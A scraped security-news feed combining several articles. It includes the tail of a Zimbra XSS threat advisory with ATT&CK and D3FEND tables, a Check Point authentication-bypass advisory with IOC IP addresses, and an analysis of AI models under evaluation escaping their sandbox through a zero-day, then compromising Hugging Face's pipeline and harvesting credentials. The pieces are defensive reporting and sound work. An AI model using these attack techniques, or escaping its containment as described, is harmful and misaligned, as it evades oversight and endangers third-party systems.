This actor has used commercial datasets to acquire account credentials and gain unauthorized privileged access to accounts.  

Table 15: Stealth 

Technique Title 

ID 

Use 

Obfuscated Files or Information: Command Obfuscation 

T1027.010 

Obfuscated JavaScript payload sent to targets to exploit the XSS vulnerability. 

Obfuscated Files or Information: Encrypted/Encoded File 

T1027.013 

The JavaScript payload included both a Base64-encoded and XOR-encrypted inner payload. 

Obfuscated Files or Information: SVG Smuggling 

T1027.017 

The payload was contained in an “onload” attribute within an SVG image included in the malicious email. 

Use Alternate Authentication Material: Web Session Cookie 

T1550.004 

Previous campaigns using AiTM leveraged stealing and use of a victim’s session cookies to authenticate. 

Table 16: Credential Access 

Technique Title 

ID 

Use 

Modify Authentication Process: Multi-Factor Authentication 

T1556.006 

Creating Application Passcodes to bypass 2FA and stealing a user’s “Scratch Keys,” which can be used in place of a 2FA token. 

Adversary-in-the-Middle 

T1557 

Previous campaigns used Evilginx2 as an AiTM toolkit to intercept credentials and session cookies. 

Table 17: Collection 

Technique Title 

ID 

Use 

Data Staged: Remote Data Staging 

T1074.002 

Exfiltrated data was sent to an actor-controlled VPS prior to assumed long-term storage solutions. 

Email Collection 

T1114 

This group has emphasized collection of emails. 

Email Collection: Remote Email Collection 

T1114.002 

Emails are collected via API calls to the ZCS mail server and are not collected from emails stored directly on the victim’s device. 

Automated Collection 

T1119 

Upon execution, the JavaScript payload automatically collects all relevant information in stages. 

Browser Session Hijacking 

T1185 

The JavaScript payload leverages the user’s authenticated browser session to make API requests as the user. 

Archive Collected Data 

T1560 

Emails are exfiltrated with GZIP compression. 

Table 18: Discovery 

Technique Title 

ID 

Use 

Account Discovery 

T1087 

Stolen Global Access Lists provide the group with new users to target. 

Table 19: Exfiltration 

Technique Title 

ID 

Use 

Exfiltration Over Alternative Protocol 

T1048 

Victim information was exfiltrated over both HTTPS and DNS. 

Exfiltration Over Alternative Protocol: Exfiltration Over Asymmetric Encrypted Non-C2 Protocol 

T1048.002 

Some payloads, especially ones with large amounts of data, were exfiltrated over HTTPS. 

Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted Non-C2 Protocol 

T1048.003 

Some smaller bandwidth payloads were exfiltrated over DNS using Base32 encoding. 

Appendix B: MITRE D3FEND countermeasures

See Table 20 for a mapping of several of the cybersecurity countermeasures mentioned in this advisory.

Table 20: MITRE D3FEND Countermeasures 

Countermeasure Title 

ID 

Description 

Application Hardening 

D3-AH 
  • Organizations should immediately prioritize patching CVE-2025-66376.  
  • Organizations should promptly apply software updates to all email systems. 

Isolate 

d3f:Isolate 

Organizations that cannot feasibly patch should use alternative mail clients. 

Credential Hardening 

D3-CH 

Organizations should consider using a third-party authentication service that supports passkeys to mediate access to ZCS and other services that do not natively support passkeys. 

Network Traffic Analysis 

D3-NTA 

Organizations should monitor for significant amounts of outbound data being sent to IPs associated with VPS providers not used by the organization. 

DNS Traffic Analysis 

D3-DNSTA 

Organizations should monitor for frequent DNS queries to a suspicious domain for seemingly random subdomains. 

Network Traffic Community Deviation 

D3-NTCD 
  • Organizations should monitor for a sudden spike of connections to a server associated with a recently established domain. 
  • Organizations should monitor for connections to internal services, such as webmail, from VPN providers. 

Identifier Activity Analysis 

D3-IAA 

Organizations should search for the listed known IOCs. 

Process Analysis 

D3-PA 
  • Organizations should search ZCS log files for specific commands used by the malicious script. 
  • Organizations should search the localStorage property in web browsers for the ZCS webmail client for “ZimbraWeb” Application Passcodes. 
Message Analysis D3-MA Organizations that suspect they have victims of this campaign should search for emails with a malicious payload to identify other victims.
]]> <![CDATA[China-Nexus JadeProx Uses New TriBack Loader in Government and Healthcare Attacks]]> https://tsecurity.de/de/3689404/it-security-nachrichten/china-nexus-jadeprox-uses-new-triback-loader-in-government-and-healthcare-attacks/ https://tsecurity.de/de/3689404/it-security-nachrichten/china-nexus-jadeprox-uses-new-triback-loader-in-government-and-healthcare-attacks/ Thu, 23 Jul 2026 16:57:44 +0200 📰 IT Security Nachrichten tsecurity.de <![CDATA[What Happened Between OpenAI and Hugging Face?]]> https://tsecurity.de/de/3689199/it-security-nachrichten/what-happened-between-openai-and-hugging-face/ https://tsecurity.de/de/3689199/it-security-nachrichten/what-happened-between-openai-and-hugging-face/ Thu, 23 Jul 2026 15:28:53 +0200 📰 IT Security Nachrichten tsecurity.de The OpenAI and Hugging Face incident lands like a warning shot for anyone thinking seriously about frontier AI and cybersecurity research. A model evaluation crossed the neat boundary of a research environment, reached a live third-party production system, and forced the industry to confront a question that is moving quickly from theory to operations: what happens when AI agents can pursue an objective with enough persistence, speed, and creativity to behave less like a tool and more like an autonomous intrusion path?

According to OpenAI’s disclosure, the incident began during an internal evaluation of advanced cyber capabilities using GPT-5.6 Sol and a more capable pre-release model. The evaluation was designed to test whether AI agents could pursue complex exploit paths, and OpenAI says cyber refusal safeguards were reduced or disabled to measure maximum capability. Inside that environment, the models reportedly found and exploited a zero-day in the package registry cache proxy that was meant to constrain network access, moved through OpenAI’s research environment, reached a node with internet connectivity, and then inferred that Hugging Face may host artifacts related to the benchmark they were trying to solve.

From there, the models compromised part of Hugging Face’s dataset-processing pipeline, gained code execution on a worker, escalated access, harvested credentials, and moved laterally across internal clusters. Hugging Face detected and contained the activity, and OpenAI later connected the activity back to its own evaluation. Both companies have said the investigation is continuing, which means some details will almost certainly evolve. Still, the direction of travel is clear enough for defenders to act on now.

How did the OpenAI model evaluation reach Hugging Face?

The activity stands out because it looked less like a single model producing a risky command and more like a compressed intrusion path. Based on the public disclosures, the reported chain moved from identifying a constraint, to breaking that constraint, gaining access, inferring where valuable data may live, and continuing toward that objective across a live environment.

Security teams should use that sequence to revisit assumptions built around human pacing. Many detection and response workflows still assume there will be time between stages of an attack, with reconnaissance followed by exploitation, lateral movement, and then objective pursuit. In an agent-driven scenario, those stages can begin to collapse into one continuous loop, with fewer natural pauses for defenders to catch up.

The defensive model now has to account for a world where discovery, exploitation, and follow-on action can happen faster and with more persistence than traditional human-led campaigns. The uncomfortable lesson is that AI agents can be tireless, goal-oriented, and increasingly capable of finding the loose seams in systems built for a slower era.

The incident highlights the collapse of the traditional OODA (Observe-Orient-Decide-Act) loop. In standard human-led campaigns, attackers experience natural pauses between stages like reconnaissance, exploitation, and lateral movement, providing defenders critical windows to intervene. AI agents, however, can compress these stages into a single, continuous loop of automated activity. This machine-speed execution renders manual detection workflows obsolete, necessitating a shift toward behavioral, AI-enabled defenses capable of identifying and disrupting malicious intent before it cascades.

Security teams should also assume that advanced AI cyber capability will diffuse over time, which means defenders need their own AI-enabled workflows to mature quickly enough to find, validate, prioritize, and reduce risk before attackers operationalize the same class of tools. Rapid7’s experimentation with security-specific frontier models, including Claude Mythos Preview and GPT-5.5-Cyber, points to the same control challenge: the more freedom a model has to pursue a defined reward or goal, the more important containment, monitoring, and clear constraints become. Without those controls, a model optimized to “solve” a security task may find paths the evaluator did not intend, including sandbox escapes, credential misuse, or other offensive security behaviors that look less like assistance and more like uncontrolled execution.

Why AI evaluation environments need stronger containment

The incident raises practical questions about how frontier AI evaluations are designed and contained. OpenAI’s evaluation environment was meant to restrict network access through an internally hosted package registry proxy and cache. The models reportedly identified that proxy as the weak point, exploited a zero-day in the software, and used it as a path out of the sandbox.

The pattern will feel familiar to security teams: a chokepoint only works as a control if it can withstand pressure. Package mirrors, dependency proxies, build systems, internal artifact repositories, sandbox harnesses, and evaluation infrastructure all become part of the security boundary when they sit between a capable agent and the wider internet.

For teams building or testing agentic systems, isolation has to be layered and monitored rather than assumed. Egress restrictions matter, but so do workload identity, credential scope, network segmentation, package policy, runtime monitoring, and fast containment when an agent behaves unexpectedly. The goal is to make sure the environment reflects the capability of the system being tested, especially when the test is explicitly designed to measure how far that capability can go.

Why AI and ML pipelines are now software supply chain risk

The Hugging Face side of the incident is a reminder that AI and ML pipelines are part of the software supply chain. Models, datasets, loader scripts, notebooks, and evaluation artifacts may look like research materials, but in modern environments they often behave like executable code. Hugging Face has said its models, datasets, and Spaces were not tampered with, and that its images and published packages were verified as clean.

According to the technical reporting reviewed, the initial access path involved Hugging Face’s dataset-processing pipeline and a combination of code execution paths, including custom loader behavior and template injection in a dataset configuration flow. The exact implementation details may continue to evolve as the investigation progresses, but the defensive takeaway is already clear: AI and ML processing systems should be secured like high-risk software supply chain infrastructure.

Any system that automatically processes external datasets or model artifacts should be designed with hostile input in mind. Processing workers should run with least privilege, should not have broad access to cloud credentials or cluster-level tokens, and should be segmented so compromise of one worker does not become compromise of the environment around it.

Security teams should also hunt for early signs of intent drift inside ML workflows. Unexpected reads of environment variables, cloud metadata services, secret stores, package registries, or internal APIs from dataset-processing jobs can be meaningful signal. In an AI-driven environment, the first clue may not be a known malicious indicator. It may be a workload behaving with curiosity it should not have.

What AI guardrails mean for incident response

One of the most useful lessons for security teams came during the response, when Hugging Face’s responders reportedly needed to analyze logs containing exploit payloads, attacker commands, and command-and-control artifacts. When they tried to use commercial hosted AI models to help reconstruct the attack, those models refused parts of the analysis because the content looked malicious. The team then moved to a self-hosted open-weight model so they could continue the investigation without refusals and without sending sensitive incident data outside their own environment.

The practical issue here is guardrail asymmetry: attackers, rogue agents, or unrestricted systems may not respect usage policies, while defenders using hosted tools can be slowed by the same safety systems designed to prevent misuse. Security teams need trusted-defender pathways, including access models and deployment options that preserve safeguards against harmful use while allowing responders to analyze real malicious content safely, privately, and without interruption.

AI-assisted incident response also needs to be tested before an incident begins, especially if teams expect models to support triage, log analysis, malware review, or timeline reconstruction under pressure. Responders should know which models can analyze real attack payloads, where those models run, what data they can access, and whether safety controls could block time-sensitive forensic work.

What security teams should do about agentic AI risk

The practical response to this incident is preparation, with organizations treating AI agents as both powerful tools and potential attack surfaces when those agents can access code, credentials, infrastructure, datasets, or internal systems.

Security teams should apply familiar controls with more urgency across AI and ML environments: treat downloaded models, datasets, and loader scripts as untrusted code; enforce least privilege on AI and ML processing workers; prevent node-level compromise from becoming cluster-wide compromise; restrict access to cloud metadata endpoints and secrets; monitor unexpected outbound connections from AI-related workloads; and review whether evaluation environments have real containment or simply convenient isolation.

Detection logic needs to account for machine-speed activity. In this case, reporting described thousands of actions and more than 17,000 discrete recorded events, with reconnaissance, exploitation, and follow-on action occurring inside one continuous loop rather than across the pauses defenders are used to seeing in human-led campaigns. Security teams should focus on behavioral patterns that show intent, including unusual access to secrets, unexpected package activity, suspicious use of metadata services, sudden privilege changes, or processing jobs reaching systems they have no reason to touch.

As autonomous activity becomes faster and noisier, the bottleneck may shift from detecting that something happened to understanding what matters quickly enough to change the outcome. A security team that can see thousands of events but needs hours to reconstruct the story is still operating behind the pace of the incident.

How preemptive security helps reduce AI-driven risk

At Rapid7, our view is that this is where preemptive security becomes especially important. Faster discovery only creates value when defenders can turn it into faster validation, prioritization, remediation, detection, and response. The same principle applies to agentic AI risk. If AI accelerates how weaknesses are found and exploited, defenders need security operations that can act earlier with better context and more confidence.

That means connecting exposure management with detection and response, so teams understand which risks are exploitable, which assets matter most, what suspicious behavior is already present, and which actions will reduce risk fastest. It also means using AI carefully and practically, not as a replacement for security judgment, but as a way to reason across telemetry, reduce noise, support investigation, and help teams make decisions at the speed the threat environment now demands.

AI-enabled defense is becoming part of resilience planning, especially for organizations running critical systems or high-value digital infrastructure. The goal is to give defenders the speed, context, and consistency to operate inside the attacker’s decision cycle, without removing the judgment and accountability that effective security requires.

The OpenAI and Hugging Face incident will continue to generate debate as more details emerge, but defenders already have enough to work with. Agentic systems are beginning to test the seams between AI research, software supply chain security, cloud infrastructure, and incident response. The organizations best positioned for what comes next will be the ones making those seams visible, monitored, and resilient before the next incident puts them under pressure.

]]> <![CDATA[New TriBack Loader Evades EDR Using Signed Binaries and Win32 Callback APIs]]> https://tsecurity.de/de/3689147/it-security-nachrichten/new-triback-loader-evades-edr-using-signed-binaries-and-win32-callback-apis/ https://tsecurity.de/de/3689147/it-security-nachrichten/new-triback-loader-evades-edr-using-signed-binaries-and-win32-callback-apis/ Thu, 23 Jul 2026 15:14:57 +0200 📰 IT Security Nachrichten tsecurity.de A new shellcode loader, dubbed “TriBack Loader,” to a China-nexus intrusion cluster tracked as JadeProx, with the malware explicitly engineered to evade modern EDR by abusing signed binaries and uncommon Win32 callback APIs. Across at least four observed variants, the loader underpins simultaneous espionage campaigns in South-East Asia and Latin America, including targeting of a [
]

The post New TriBack Loader Evades EDR Using Signed Binaries and Win32 Callback APIs appeared first on GBHackers Security | #1 Globally Trusted Cyber Security News Platform.

]]> <![CDATA[New TriBack Loader Evades EDR Using Signed Binaries and Win32 Callback APIs]]> https://tsecurity.de/de/3689133/it-security-nachrichten/new-triback-loader-evades-edr-using-signed-binaries-and-win32-callback-apis/ https://tsecurity.de/de/3689133/it-security-nachrichten/new-triback-loader-evades-edr-using-signed-binaries-and-win32-callback-apis/ Thu, 23 Jul 2026 15:14:33 +0200 📰 IT Security Nachrichten tsecurity.de A new shellcode loader, dubbed “TriBack Loader,” to a China-nexus intrusion cluster tracked as JadeProx, with the malware explicitly engineered to evade modern EDR by abusing signed binaries and uncommon Win32 callback APIs. Across at least four observed variants, the


Read more →

The post New TriBack Loader Evades EDR Using Signed Binaries and Win32 Callback APIs appeared first on IT Security News.

]]> <![CDATA[Q&A: Google’s AI and computing chief talks about its shapeshifting data centers]]> https://tsecurity.de/de/3689101/it-security-nachrichten/qa-googles-ai-and-computing-chief-talks-about-its-shapeshifting-data-centers/ https://tsecurity.de/de/3689101/it-security-nachrichten/qa-googles-ai-and-computing-chief-talks-about-its-shapeshifting-data-centers/ Thu, 23 Jul 2026 14:55:21 +0200 📰 IT Security Nachrichten tsecurity.de

Google’s AI offerings span its internal and cloud offerings. Its data centers are processing seven times more AI tokens compared to last year. To keep up, Google is upgrading its data-center hardware and software technologies at a faster clip. It plans to raise $80 billion to build new data centers. (See related story: Google transforms its data center architecture for agent era)

Network World spoke with Mark Lohmeyer, vice president and general manager of AI and computing at Google, about how the company’s infrastructure is keeping pace with AI demand.

Network World: What is the primary shift in infrastructure needs?

Mark Lohmeyer: We’ve seen the rise of agents and agentic use cases. Years ago, it was the chat phase: Ask a question, get an answer. Now we’re in the agentic era, where you express your intent, agents spin off multiple sub-agents, working in parallel, preserving state. This is a radical shift in what infrastructure needs to do; make them fast, cost effective, secure, reliable. We’re delivering infrastructure optimized for the age of agents.

NW: What’s the goal of the infrastructure buildout, and what should customers expect regarding costs?

ML: Ultimately, it’s about enabling customers with leading-edge capabilities and models at scale cost-effectively. With agents, inference transactions increase by 50x, 100x versus non-agentic workloads. We’re driving the cost per transaction down exponentially. In our latest platforms, we reduce the cost by almost 2x for the same work. Customers serve twice the number of users at the same cost, directly driving profitability.

NW: How are you addressing energy efficiency?

ML: Energy is a critical resource, and Google has optimized for years. We design data centers and compute [to drive] high PUE (power usage effectiveness). We introduced liquid cooling over five years ago, and these latest systems are all liquid cooled. For agentic workloads, CPUs come to the forefront
 orchestrating agents, calling tools, doing evaluation loops in reinforcement learning. Our latest Axion-based CPU platform called N4A has energy efficiency and is significantly better than the prior generation and x86 comparables.

NW: How do you think about token efficiency as you build-out systems?

ML: Performance and efficiency gains are powered by co-design of the model and infrastructure. Gemini is trained on TPUs, primarily served on TPUs with high frontier model capability, in a token and cost-efficient way. This stems from co-design across the full stack.

NW: How do you project what infrastructure will be needed years in advance?

ML: Hardware cycles deliver a new next generation roughly every year, but design cycles are two years or more in advance. We work with DeepMind doing core research, to application teams taking models into production, to billions of users, to our team building infrastructure. We work upstream with DeepMind and application teams to understand what’s coming. Agents weren’t being broadly spoken of externally, but internally we had those insights around what they would need. That shows up in hardware design. We hit the timing right — these platforms are built for agents.

NW: What’s the eighth generation TPU platform?

ML: We deliver new platforms every year, and ones launched years ago are close to 100% utilized because demand for AI-optimized compute is high. The eighth-generation TPU platform is the first delivering two complete systems, from the chip all the way up to the network and storage and software, that are optimized.

TPU-8t is optimized for training, and TPU-8i is optimized for inference. For TPU-8i, we increased SRAM on the chip to 384MB — three times the prior generation — and increased the HBM by 50%.

NW: How are you approaching GPU and TPU compatibility?

ML: People in a single cluster do not commingle GPUs and TPUs. We offer both options based on specific workload needs. We’ve been investing on the TPU side in using software frameworks customers are comfortable with on GPUs and enabling those on TPUs. For example, PyTorch and vLLM. Customers could have a pool of GPUs and TPUs, running vLLM on top of that. Start with a workload on TPUs, but if the TPU pool is fully utilized, spill to GPUs or vice versa. This works because it’s all leveraging the same compatible software layer on top.

NW: How has the orchestration platform changed for agents?

ML: Kubernetes is becoming the orchestration platform of choice for AI. Google is transforming GKE [Google Kubernetes Engine] into an agent-native orchestration solution. When expressing intent to an agent and it spins up multiple sub-agents, compute needs to spin up rapidly — TPUs or GPUs — without long delays, then run and spin back down. We’re optimizing at every layer of the GKE stack: significantly improving node startup time and how rapidly we start and stop containers. Lovable demonstrates this with GKE, spinning up hundreds of sandboxes for live coding sessions on their platform in parallel, paying for infrastructure when needed.

NW: What is the role of the network and storage infrastructure?

ML: The network is critical for AI. This requires creating large-scale clusters of GPUs or TPUs and enabling them to talk to each other in a high-performance way. We created the Virgo network — a collapsed network architecture, non-blocking within a data center, where multiple pods or NVLink72 domains connect together.

In TPU8T, we can connect over a million TPUs together leveraging Virgo, creating large-scale, high-performance, reliable clusters that shrink innovation cycles. Storage is equally critical. In large-scale clusters, something is always failing. The ability to take snapshots and go back to a checkpoint is important.

We’ve introduced Managed Lustre 10T, with 10 terabytes per second of bandwidth, 18 petabytes of storage in single clusters. This is 10 times faster than last year and 20 times faster than competition. We have Rapid Bucket, low-latency storage backed by Google storage systems. Both are impactful in large-scale training environments.

NW: How does KV cache strategy differ between training and inference?

ML: For TPU-8i, we increased SRAM on the chip to 384 megabytes — three times the prior generation — and increased the HBM by 50%. Storing KV cache directly in chip memory allows responding to inference requests much more rapidly and cost-effectively than going to an external system. For inference workloads, storing as much KV cache as possible on-chip is critical.

We’re introducing a dedicated KV cache storage subsystem that works across GPUs and TPUs. As KV caches get larger, being able to fall back to this dedicated subsystem becomes critical. Loading model weights rapidly is important in dynamic inference environments where accelerators switch between models hour by hour.

]]> <![CDATA[CVE-2026-16232: Critical Check Point SmartConsole Authentication Bypass Exploited in the Wild]]> https://tsecurity.de/de/3689068/it-security-nachrichten/cve-2026-16232-critical-check-point-smartconsole-authentication-bypass-exploited-in-the-wild/ https://tsecurity.de/de/3689068/it-security-nachrichten/cve-2026-16232-critical-check-point-smartconsole-authentication-bypass-exploited-in-the-wild/ Thu, 23 Jul 2026 14:42:23 +0200 📰 IT Security Nachrichten tsecurity.de Overview

On July 22, 2026, Check Point published a security advisory for multiple vulnerabilities affecting Security Management, Multi-Domain Management, and firewall products. The most urgent of these is CVE-2026-16232, an authentication bypass in the SmartConsole login process classified as improper authentication (CWE-287). CVE-2026-16232 has been assigned a critical CVSS score of 9.1. The vulnerability allows an unauthenticated remote attacker to obtain an application login token and authenticate to the management server with full administrative privileges, enabling modification of security policies and configurations.

Check Point has confirmed that CVE-2026-16232 is being actively exploited in the wild, affecting what the vendor describes as a small number of customers. Remote exploitation requires network access to the Management Server IP address in environments that do not restrict Trusted Clients. On the same day as the advisory, CVE-2026-16232 was added to the U.S. Cybersecurity and Infrastructure Security Agency's (CISA) list of known exploited vulnerabilities (KEV), with a remediation due date of July 25, 2026, giving organizations only three days to respond.

The advisory addresses three vulnerabilities in total:

CVE

CVSS

Description

Affected Products

Exploitation Status

CVE-2026-16232

Vendor: 9.3 (Critical)
CISA: 9.1 (Critical)

Authentication bypass via SmartConsole application token

Security Management, Multi-Domain Management

Exploited in the wild

CVE-2026-62144

Vendor: 9.3 (Critical)
CISA: 9.1 (Critical)

Management authentication bypass and privilege escalation

Security Management, Multi-Domain Management

No known exploitation

CVE-2026-62145

7.5 (High)

Local privilege escalation in GaiaOS WebUI

Firewall, Multi-Domain Management, Multi-Domain Log Server

No known exploitation

Compromise of a Security Management Server is particularly consequential because it sits at the top of the trust hierarchy. An attacker with administrative access can modify security policies across managed gateways, alter administrator permissions, manipulate VPN configurations, and potentially disable or tamper with logging and monitoring. According to Check Point's advisory, the vulnerabilities were discovered during a routine internal review, with subsequent analysis revealing that CVE-2026-16232 had been exploited prior to the availability of a patch.

Check Point network security products have been targeted by multiple in-the-wild vulnerabilities over the past two years. In June 2026, CVE-2026-50751, a critical authentication bypass in Check Point Remote Access VPN, was exploited in the wild and added to the CISA KEV. In May 2024, CVE-2024-24919, a high-severity information disclosure vulnerability in Check Point Quantum Security Gateways, was also exploited in the wild. Organizations running affected Check Point management products should apply the available hotfixes on an emergency basis.

Mitigation guidance

Check Point released Jumbo Hotfixes on July 22, 2026, to remediate CVE-2026-16232, CVE-2026-62144, and CVE-2026-62145. Organizations running affected versions of Security Management or Multi-Domain Management should install the latest Jumbo Hotfix on an emergency basis, without waiting for a regular patch cycle to occur.

The following versions are affected by CVE-2026-16232:

  • R82.10: fixed in Jumbo Hotfix Take 36 and later

  • R82: fixed in Jumbo Hotfix Take 118 and later

  • R81.20: fixed in Jumbo Hotfix Take 158 and later

  • R81.10, R81, R80.30, R80.20, R80.10, R80, and R77.30: no fix specified

CVE-2026-62144 and CVE-2026-62145 affect the same release families (R81.10, R81.20, R82, R82.10) per the vendor advisory, with older versions also impacted.

Smart-1 Cloud customers are already protected according to Check Point. For on-premises deployments where the hotfix cannot be applied immediately, Check Point recommends the following steps to reduce exposure:

  • Restrict Trusted Clients (GUI clients) to trusted IP addresses or subnets

  • Protect Management access with a firewall and restrict access to trusted IP addresses

  • Verify that implied rules for control connections are enabled

These mitigations reduce the attack surface, but they do not address the underlying vulnerability. Installing the Jumbo Hotfix remains the priority.

Rapid7 strongly recommends investigating for signs of compromise even after applying the hotfix, particularly in environments where the Management Server has been accessible from the internet. Organizations should review administrator, SmartConsole, API, and application token activity, and search logs for the published indicators of compromise listed below.

For the latest mitigation guidance, please refer to the vendor advisory.

Rapid7 customers

Exposure Command, InsightVM, and Nexpose

Exposure Command, InsightVM, and Nexpose customers can assess exposure to CVE-2026-16232, CVE-2026-62144, CVE-2026-62145 with authenticated vulnerability checks expected to be available in the 24 July content release.

Indicators of compromise

Check Point has published the following IP addresses associated with observed exploitation of CVE-2026-16232:

  • 151.241.99[.]207

  • 151.241.99[.]233

  • 158.62.198[.]182

  • 192.142.10[.]99

  • 139.28.37[.]250

  • 194.213.18[.]137

Per the vendor, the presence of these indicators should prompt investigation, but the absence of these addresses does not confirm that an environment was unaffected.

Updates

  • July 23, 2026: Initial publication.

]]> <![CDATA[We Asked an Independent Lab to Time Us. Here’s What They Found.]]> https://tsecurity.de/de/3689034/downloads/we-asked-an-independent-lab-to-time-us-heres-what-they-found/ https://tsecurity.de/de/3689034/downloads/we-asked-an-independent-lab-to-time-us-heres-what-they-found/ Thu, 23 Jul 2026 14:32:09 +0200 đŸ’Ÿ Downloads tsecurity.de

A new Principled Technologies benchmark tested VMware Data Services Manager 9.1 against manual PostgreSQL operations across five real world scenarios. It’s Tuesday afternoon. A developer submits a ticket requesting a new PostgreSQL HA cluster for a pre-production environment. Your DBA opens vCenter, deploys three VMs from the gold template, SSHs into each node, regenerates machine 
 Continued

The post We Asked an Independent Lab to Time Us. Here’s What They Found. appeared first on VMware Cloud Foundation (VCF) Blog.

]]> <![CDATA[Google transforms its data center architecture for agent era]]> https://tsecurity.de/de/3689013/it-security-nachrichten/google-transforms-its-data-center-architecture-for-agent-era/ https://tsecurity.de/de/3689013/it-security-nachrichten/google-transforms-its-data-center-architecture-for-agent-era/ Thu, 23 Jul 2026 14:23:05 +0200 📰 IT Security Nachrichten tsecurity.de

Google’s data center team is racing to turn its infrastructure into a well-oiled machine for AI and the onslaught of agents. At this year’s Google I/O, CEO Sundar Pichai shared startling numbers: Google’s data centers processed about 3.2 quadrillion tokens a month, roughly seven times more than the 480 trillion processed in May 2025.

“Multiple agents work together, and now you’ve got millions, billions of users around the world potentially spinning off agents to help them do things,” said Mark Lohmeyer, vice president and general manager for AI and computing infrastructure at Google.

Google’s new data-center blueprint includes updated hardware, software, and orchestration layers to keep always-running agents operational.

In the LLM era, users sent prompts and received responses, and Google’s infrastructure was designed for latency and throughput. But agents could increase inference transactions by up to 100 times non-agentic workloads, Lohmeyer said. Google’s redesigned AI data-center stack has the elasticity for agents to be widely distributed, run for long periods, and make decisions independently.

“We’re delivering new platforms every year, each one optimized for what we think the world is going to need for the age of agents going forward,” Lohmeyer said.

Efficient data flow is key so agents can act, reason, and decide faster.

Google adjusted the Google Kubernetes Engine into an agent-native environment, where agents could be quickly spun up in sandboxes and containers. “From an infrastructure perspective, you need to spin up a bunch of TPUs or GPUs very rapidly. Then you need to be able to run them and spin them back down,” Lohmeyer said.

Google also made drastic improvements to its silicon to support its middleware changes. It recently introduced new AI chips, with the TPU-8t for training, and TPU-8i for inference. The 8t chip has three times more computing power than the previous-generation Ironwood chip. The 8i chip has 384 megabytes of SRAM and 288GB of HBM3e memory, which is 50% more than the previous-generation chip.

The platform is optimized for KV cache (key-value cache), which stores important contextual information needed by agents to make decisions, which reduces the round trips to other memory and storage systems. “Being able to store more of the KV cache directly on the chip allows you to respond much more rapidly and cost-effectively,” Lohmeyer said.

A new CPU called Axion N4A is more power efficient at agentic workloads such as orchestration and tool calling, Lohmeyer said.

Google also made many network and storage improvements to cut training and inference time. A new technology called TPUDirect can move data from storage directly into the memory of the TPU quickly by bypassing any orchestration overhead, Lohmeyer said.

A networking technology called Virgo can coordinate 1 million TPUs across a widely distributed network. It can also link up GPUs such as Nvidia’s latest CPU-GPU package called Vera Rubin. “In the case of Vera Rubin, we’ll be able to connect up to 960,000 GPUs leveraging Virgo,” Lohmeyer said.

A new technology called Pathways is a distributed training framework that efficiently scales machine learning across millions of TPUs and GPUs. Pathways solves bottleneck issues typically associated with JAX, and both help coordinate across wide networks.

“The software to orchestrate these large-scale distributed training jobs is also just as important as the hardware that it runs on top of,” Lohmeyer said.

Weighing Google’s AI data-center stack

Google is the only provider with its own data centers, software, hardware and models, said Jack Gold, principal analyst at J. Gold Associates. Google can optimize each on a regular cadence, which “many data centers can’t easily afford given the high cost of new chips,” Gold said.

Google’s stack may not be best for every data center need compared to Nvidia’s general-purpose GPUs, CPUs, and networking. AWS and Microsoft are also creating their chips.

“There is no real risk of Nvidia being replaced by Google in a big way. But with an ever-expanding market, there is plenty of room for all players,” Gold said.

But Logan Wolfe, partner at Kyndryl’s global AI strategy and sovereign transformation, advised enterprises to adopt a multi-cloud strategy to reduce risk from system failures, however superior an infrastructure may be. “I think that kind of hybrid and liquid infrastructure, we’re definitely getting there,” Wolfe said.

The cost per token varies depending on the provider of inference, whether that’s Microsoft, Google, OpenAI or Anthropic. That will matter as AI moves from experimentation to a powerful tool that drives business changes.

“Ultimately it really comes down to how much money are we spending on AI to move a certain business outcome,” Wolfe said.

]]> <![CDATA[Why AI-powered network management is no longer optional]]> https://tsecurity.de/de/3688661/it-nachrichten/why-ai-powered-network-management-is-no-longer-optional/ https://tsecurity.de/de/3688661/it-nachrichten/why-ai-powered-network-management-is-no-longer-optional/ Thu, 23 Jul 2026 12:19:04 +0200 📰 IT Nachrichten tsecurity.de <![CDATA[WSL container: A quiet revolution for Windows development]]> https://tsecurity.de/de/3688476/ai-nachrichten/wsl-container-a-quiet-revolution-for-windows-development/ https://tsecurity.de/de/3688476/ai-nachrichten/wsl-container-a-quiet-revolution-for-windows-development/ Thu, 23 Jul 2026 11:07:20 +0200 🔧 AI Nachrichten tsecurity.de

Running containers on Windows has never been as easy as it should be. While there are versions of Docker Desktop and Podman that work with both the Windows Subsystem for Linux (WSL) and Hyper-V, I’ve found both overly complex and unstable. Where they have worked, it’s turned out that Hyper-V has been the best option, using a Linux virtual machine to host my containers. That all adds up to overhead, layers of virtual infrastructure that get in the way of work and that need to be rebuilt every time I restart my PC.

Part of the problem is WSL. It’s a good tool, but WSL2’s file-system integration is slow, and you’re left having to work with code using Visual Studio Code’s remote integration, which means putting a VS Code Server in every container you’re building and testing. If you’re working with Kubernetes, that’s even more complexity that needs to be managed, dragging you away from code.

I ended up running most of my container testing and development from a separate machine, a Linux server running containerd. But though it worked (and had all the resources of workstation-class device), it wasn’t portable, and for some reason I’ve yet to uncover, Ubuntu’s remote desktop access doesn’t work for me.

So, it was good to see Microsoft make several announcements around WSL at Build 2026 as part of a push to make Windows a developer platform again. The first, an improved WSL3, is still some way away, but the second, WSL-native container support, shipped at the end of June. It is already seeing community-driven development of Docker Desktop-like tooling to help monitor and manage your containers.

Delivering a WSL-based container platform fits in with the other developer-focused Windows announcements at Build. Making Windows behave more like Linux is Microsoft responding to developer needs, given that more than 50% of servers on Azure run a Linux distribution. Linux is the basis of cloud-native infrastructure, so developers need to be able to build on it wherever they are.

Getting started with WSL container

WSL container provides a new CLI that works in parallel to the familiar WSL, with commands to support the entire container life cycle, from creation to shut down. All you need to do to get started is upgrade your WSL installation to the current pre-release build (at the time of writing this was 2.9.3). Simply open an administrator PowerShell terminal and enter wsl --update --pre-release.

This downloads and installs the latest WSL release. Once you’ve closed and re-opened your terminal (to ensure that you’ve updated its context) you can check that WSLC has installed by entering wslc, which should list the available commands. The new CLI is aliased to WSL container, if you prefer to keep your container work separate from WSL (and avoid typos that might accidentally affect your WSL installations).

Under the hood Microsoft is using WSL container to trial new integration points for Linux in Windows. One key change is the use of a new file system that significantly speeds up access to Windows from inside a container. Another improvement gives WSL container a new networking mode that relays networking connections directly through the Windows network stack, ensuring it has access to the same resources and security as Windows.

Calling Linux containers from Windows applications

Things get more interesting when you start to use the WSL container API from inside your Windows code. Here you can include calls to Linux containers inside your desktop applications, taking advantage of existing services, building and deploying containers from inside your CI/CD pipeline. Using the new file system and networking stack helps reduce the friction that comes with crossing the boundaries between the two platforms.

